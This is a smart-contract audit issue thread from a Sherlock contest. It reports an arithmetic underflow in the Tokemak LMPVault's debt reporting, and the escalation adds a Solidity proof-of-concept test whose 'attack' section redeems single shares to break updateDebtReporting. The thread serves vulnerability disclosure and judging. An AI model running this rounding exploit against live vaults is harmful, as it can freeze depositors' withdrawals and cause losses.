0x007 - LMPVault.updateDebtReporting could underflow because of subtraction before addition

[sherlock-admin2]

0x007

high

LMPVault.updateDebtReporting could underflow because of subtraction before addition

Summary

debt = totalDebt - prevNTotalDebt + afterNTotalDebt in LMPVault._updateDebtReporting could underflow and breaking a core functionality of the protocol.

Vulnerability Detail

debt = totalDebt - prevNTotalDebt + afterNTotalDebt where prevNTotalDebt equals (destInfo.currentDebt * originalShares) / Math.max(destInfo.ownedShares, 1) and the key to finding a scenario for underflow starts by noting that each value deducted from totalDebt is calculated as cachedCurrentDebt.mulDiv(sharesToBurn, cachedDvShares, Math.Rounding.Up)

LMPDebt

...
L292    totalDebtBurn = cachedCurrentDebt.mulDiv(sharesToBurn, cachedDvShares, Math.Rounding.Up);
...
L440    uint256 currentDebt = (destInfo.currentDebt * originalShares) / Math.max(destInfo.ownedShares, 1);
L448    totalDebtDecrease = currentDebt;

Let:
totalDebt = destInfo.currentDebt = destInfo.debtBasis = cachedCurrentDebt = cachedDebtBasis = 11
totalSupply = destInfo.ownedShares = cachedDvShares = 10

That way:
cachedCurrentDebt * 1 / cachedDvShares = 1.1 but totalDebtBurn would be rounded up to 2

sharesToBurn could easily be 1 if there was a loss that changes the ratio from 1:1.1 to 1:1. Therefore currentDvDebtValue = 10 * 1 = 10

if (currentDvDebtValue < updatedDebtBasis) {
    // We are currently sitting at a loss. Limit the value we can pull from
    // the destination vault
    currentDvDebtValue = currentDvDebtValue.mulDiv(userShares, totalVaultShares, Math.Rounding.Down);
    currentDvShares = currentDvShares.mulDiv(userShares, totalVaultShares, Math.Rounding.Down);
}

// Shouldn't pull more than we want
// Or, we're not in profit so we limit the pull
if (currentDvDebtValue < maxAssetsToPull) {
    maxAssetsToPull = currentDvDebtValue;
}

// Calculate the portion of shares to burn based on the assets we need to pull
// and the current total debt value. These are destination vault shares.
sharesToBurn = currentDvShares.mulDiv(maxAssetsToPull, currentDvDebtValue, Math.Rounding.Up);

Steps

• call redeem 1 share and previewRedeem request 1 maxAssetsToPull
• 2 debt would be burn
• Therefore totalDebt = 11-2 = 9
• call another redeem 1 share and request another 1 maxAssetsToPull
• 2 debts would be burn again and
• totalDebt would be 7, but prevNTotalDebt = 11 * 8 // 10 = 8

Using 1, 10 and 11 are for illustration and the underflow could occur in several other ways. E.g if we had used 100,001, 1,000,010 and 1,000,011 respectively.

Impact

_updateDebtReporting could underflow and break a very important core functionality of the protocol. updateDebtReporting is so critical that funds could be lost if it doesn't work. Funds could be lost both when the vault is in profit or at loss.

If in profit, users would want to call updateDebtReporting so that they get more asset for their shares (based on the profit).

If in loss, the whole vault asset is locked and withdrawals won't be successful because the Net Asset Value is not supposed to reduce by such action (noNavDecrease modifier). Net Asset Value has reduced because the loss would reduce totalDebt, but the only way to update the totalDebt record is by calling updateDebtReporting. And those impacted the most are those with large funds. The bigger the fund, the more NAV would decrease by withdrawals.

Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L781-L792
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/libs/LMPDebt.sol#L440-L449
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/libs/LMPDebt.sol#L295

Tool used

Manual Review

Recommendation

Add before subtracting. ETH in circulation is not enough to cause an overflow.

- debt = totalDebt - prevNTotalDebt + afterNTotalDebt
+ debt = totalDebt + afterNTotalDebt - prevNTotalDebt

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

Trumpero commented:

invalid, let get through each step in the description:
0, we have, totalSupply = 10, totalDebt = 11
1, redeem 1 share --> totalSupply = 10 - 1 = 9
2, 2 debts will be burn -> totalDebt = 11 - 2 = 9
--> invalid here because the withdraw function contains the noNAVDecrease, but as we can see here is newNav = 9 / 9 = 1 < oldNav = 11 / 10 = 1.1

[bizzyvinci]

Escalate

This issue is valid.

Using 10 and 11 is just for illustration and there are many possibilities as pointed out in the report as well.

Using 1, 10 and 11 are for illustration and the underflow could occur in several other ways. E.g if we had used 100,001, 1,000,010 and 1,000,011 respectively.

And here's a PoC that could be added to LMPVaultMintingTests which would revert due to arithmetic underflow in updateDebtReporting

function test_675() public {
        uint num0 = 1_000_000;
        uint num1 = 1_000_001;
        uint num2 = 1_000_002;

        // Mock root price of underlyerOne to 1,000,001 (ether-like)
        // test debtvalue is correct and where you want it
        _mockRootPrice(address(_underlyerOne), num1 * 1e12);
        assertEq(num1, _destVaultOne.debtValue(num0));

        // deposit
        // rebalance
        _accessController.grantRole(Roles.SOLVER_ROLE, address(this));
        _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));

        // User is going to deposit 1,000,010 asset
        _asset.mint(address(this), num0);
        _asset.approve(address(_lmpVault), num0);
        _lmpVault.deposit(num0, address(this));

        // Deployed all asset to DV1
        _underlyerOne.mint(address(this), num1);
        _underlyerOne.approve(address(_lmpVault), num1);
        _lmpVault.rebalance(
            address(_destVaultOne),
            address(_underlyerOne), // tokenIn
            num1,
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            num0
        );

        // totalDebt should equal num2 now
        assertEq(num2, _lmpVault.totalDebt());
        assertEq(num2, _lmpVault.totalAssets());

        // also get mock price back where we want it
        _mockRootPrice(address(_underlyerOne), 1 ether);
        assertEq(num0, _destVaultOne.debtValue(num0));

        // start attack
        _lmpVault.redeem(1, address(this), address(this));
        assertEq(num2 - 2, _lmpVault.totalDebt());
        assertEq(num2 - 2, _lmpVault.totalAssets());
        
        _lmpVault.redeem(1, address(this), address(this));
        assertEq(num2 - 4, _lmpVault.totalDebt());
        assertEq(num2 - 4, _lmpVault.totalAssets());

        _lmpVault.updateDebtReporting(_destinations);
    }

In this case I used 1,000,000 against 1 wei, therefore it's within NAV change tolerance. And it illustrates the root cause I'm trying to point out.

debt = totalDebt - prevNTotalDebt + afterNTotalDebt

totalDebt could be less than prevNTotalDebt.

prevNTotalDebt is currentDebt which is debt during rebalance scaled to reflect current supply.

uint256 currentDebt = (destInfo.currentDebt * originalShares) / Math.max(destInfo.ownedShares, 1);

However, a value that is rounded up is subtracted from totalDebt.

// https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/libs/LMPDebt.sol#L295C9-L295C98
totalDebtBurn = cachedCurrentDebt.mulDiv(sharesToBurn, cachedDvShares, Math.Rounding.Up);

// https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L489
info.debtDecrease += totalDebtBurn;

// https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L518C13-L518C44
totalDebt -= info.debtDecrease;

So, the goal is to get rounding up against totalDebt that is less than the rounding down in prevNTotalDebt.

The PoC achieves that by getting a double rounding up against totalDebt, which would result in just 1 rounding down in prevNTotalDebt. If you notice the attack section, each redemption of 1 share would burn 2 debts (instead of burning 1.000_001 debt because of rounding up).

P.S: Big Kudos to @Trumpero for taking the time to comment on invalid issues 🫡

[sherlock-admin2]

Escalate

This issue is valid.

Using 10 and 11 is just for illustration and there are many possibilities as pointed out in the report as well.

Using 1, 10 and 11 are for illustration and the underflow could occur in several other ways. E.g if we had used 100,001, 1,000,010 and 1,000,011 respectively.

And here's a PoC that could be added to LMPVaultMintingTests which would revert due to arithmetic underflow in updateDebtReporting

function test_675() public {
        uint num0 = 1_000_000;
        uint num1 = 1_000_001;
        uint num2 = 1_000_002;

        // Mock root price of underlyerOne to 1,000,001 (ether-like)
        // test debtvalue is correct and where you want it
        _mockRootPrice(address(_underlyerOne), num1 * 1e12);
        assertEq(num1, _destVaultOne.debtValue(num0));

        // deposit
        // rebalance
        _accessController.grantRole(Roles.SOLVER_ROLE, address(this));
        _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));

        // User is going to deposit 1,000,010 asset
        _asset.mint(address(this), num0);
        _asset.approve(address(_lmpVault), num0);
        _lmpVault.deposit(num0, address(this));

        // Deployed all asset to DV1
        _underlyerOne.mint(address(this), num1);
        _underlyerOne.approve(address(_lmpVault), num1);
        _lmpVault.rebalance(
            address(_destVaultOne),
            address(_underlyerOne), // tokenIn
            num1,
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            num0
        );

        // totalDebt should equal num2 now
        assertEq(num2, _lmpVault.totalDebt());
        assertEq(num2, _lmpVault.totalAssets());

        // also get mock price back where we want it
        _mockRootPrice(address(_underlyerOne), 1 ether);
        assertEq(num0, _destVaultOne.debtValue(num0));

        // start attack
        _lmpVault.redeem(1, address(this), address(this));
        assertEq(num2 - 2, _lmpVault.totalDebt());
        assertEq(num2 - 2, _lmpVault.totalAssets());
        
        _lmpVault.redeem(1, address(this), address(this));
        assertEq(num2 - 4, _lmpVault.totalDebt());
        assertEq(num2 - 4, _lmpVault.totalAssets());

        _lmpVault.updateDebtReporting(_destinations);
    }

In this case I used 1,000,000 against 1 wei, therefore it's within NAV change tolerance. And it illustrates the root cause I'm trying to point out.

debt = totalDebt - prevNTotalDebt + afterNTotalDebt

totalDebt could be less than prevNTotalDebt.

prevNTotalDebt is currentDebt which is debt during rebalance scaled to reflect current supply.

uint256 currentDebt = (destInfo.currentDebt * originalShares) / Math.max(destInfo.ownedShares, 1);

However, a value that is rounded up is subtracted from totalDebt.

// https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/libs/LMPDebt.sol#L295C9-L295C98
totalDebtBurn = cachedCurrentDebt.mulDiv(sharesToBurn, cachedDvShares, Math.Rounding.Up);

// https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L489
info.debtDecrease += totalDebtBurn;

// https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L518C13-L518C44
totalDebt -= info.debtDecrease;

So, the goal is to get rounding up against totalDebt that is less than the rounding down in prevNTotalDebt.

The PoC achieves that by getting a double rounding up against totalDebt, which would result in just 1 rounding down in prevNTotalDebt. If you notice the attack section, each redemption of 1 share would burn 2 debts (instead of burning 1.000_001 debt because of rounding up).

P.S: Big Kudos to @Trumpero for taking the time to comment on invalid issues 🫡

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[Trumpero]

The POC looks good to me. Could you please review this issue, @codenutt?

[codenutt]

Yup I'd agree @Trumpero , looks valid. Thanks @bizzyvinci !

[Evert0x]

Planning to accept escalation and make issue valid.

[Evert0x]

@Trumpero do you think this deserves the high severity label?

[Trumpero]

I think it should be medium since this case just happens in some specific cases

[Evert0x]

Result:
Medium
Unique

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• bizzyvinci: accepted